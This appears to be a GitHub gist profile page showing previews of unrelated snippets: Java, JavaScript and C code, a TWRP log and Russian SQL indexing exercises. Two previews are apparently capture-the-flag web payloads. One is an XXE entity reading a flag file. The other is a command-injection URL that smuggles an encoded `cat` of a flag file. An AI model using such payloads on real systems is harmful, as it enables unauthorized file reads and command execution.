Skip to content

Instantly share code, notes, and snippets.

View LionZXY's full-sized avatar

Nikita Kulikov LionZXY

View GitHub Profile
@LionZXY
LionZXY / HyphenatorParser.java
Created April 10, 2018 14:50
Parser old version
@TargetApi(Build.VERSION_CODES.O)
public static void write(File rootDir) throws IllegalAccessException, IOException {
Field[] declaredFields = DefaultHyphenator.HyphenPattern.class.getDeclaredFields();
List<Field> staticFields = new ArrayList<Field>();
for (Field field : declaredFields) {
if (java.lang.reflect.Modifier.isStatic(field.getModifiers())) {
staticFields.add(field);
}
}
for (Field field : staticFields) {
init_config:
instances:
- proc_name: goodload
<!DOCTYPE foo [
<!ELEMENT foo ANY>
<!ENTITY bar SYSTEM
"file:///home/ubuntu/xxe2/flag.txt">
]>
<foo>
&bar;
</foo>
http://trytohack.ru/test/rce2?cmd=`echo%09-e%09%22cat%09--%09\057home\057ubuntu\057rce2\057flag.txt"`
class AnagramWord {
constructor(word, reverseWord) {
this.word = word;
this.reverseWord = reverseWord;
}
}
/**
* Получения двумерный массив анаграмм из произвольного массива слов
* @param {string[]} list
__bionic_open_tzdata: couldn't find any tzdata when looking for localtime!
__bionic_open_tzdata: couldn't find any tzdata when looking for GMT!
__bionic_open_tzdata: couldn't find any tzdata when looking for posixrules!
Starting TWRP 3.2.1-0-2af13795 on Mon Feb 16 13:46:10 1970
(pid 351)
I:Lun file '/sys/class/android_usb/android0/f_mass_storage/lun0/file' does not exist, USB storage mode disabled
TW_INCLUDE_CRYPTO := true
I:Find_File: Error opening '/sys/class/backlight'
I:Found brightness file at '/sys/class/leds/lcd-backlight/brightness'
I:Got max brightness 255 from '/sys/class/leds/lcd-backlight/max_brightness'
  1. Оптимально ли составлен запрос? Какие индексы нужно построить для эффективного выполнения запроса и почему?
SELECT rental_id FROM rental
WHERE rental_date BETWEEN '2005-07-01' AND '2005-08-01'
  AND customer_id = 2
ORDER BY rental_date, inventory_id;
  1. Оптимально ли составлен запрос? Какие индексы нужно построить для эффективного выполнения запроса и почему?
SELECT rental_id FROM rental
const PIXI = require('pixi.js');
const Alien = require('./object/Alien.js');
const SpriteStorage = require('./delegates/SpriteStorage.js');
const Constants = require('../../utils/Constants.js');
const VectorToPointLoop = require('./delegates/VectorToPointLoop.js');
const PhysicVectorLoop = require('./delegates/PhysicVectorLoop.js');
const Platform = require('./object/Platform.js');
const Laser = require('./object/Laser.js');
const Point = require('./object/primitive/Point.js');
const CollisionManager = require('./CollisionManager.js');
/**
* Асинхронный reduce
* @param {any[]} input
* @param {Function} iterator
* @param {any} initialValue
* @return {Promise}
*/
function asyncReduce(input, iterator, initialValue) {
let result = Promise.resolve(initialValue);
input.forEach((promise) => {
@LionZXY
LionZXY / main.c
Created September 27, 2017 21:56
#include <stdlib.h>
#include <stdio.h>
/*Ввод массива по указателю p*/
void setMassive(int *p, int n) {
printf("Ведите поэлементно ваше множество:\n");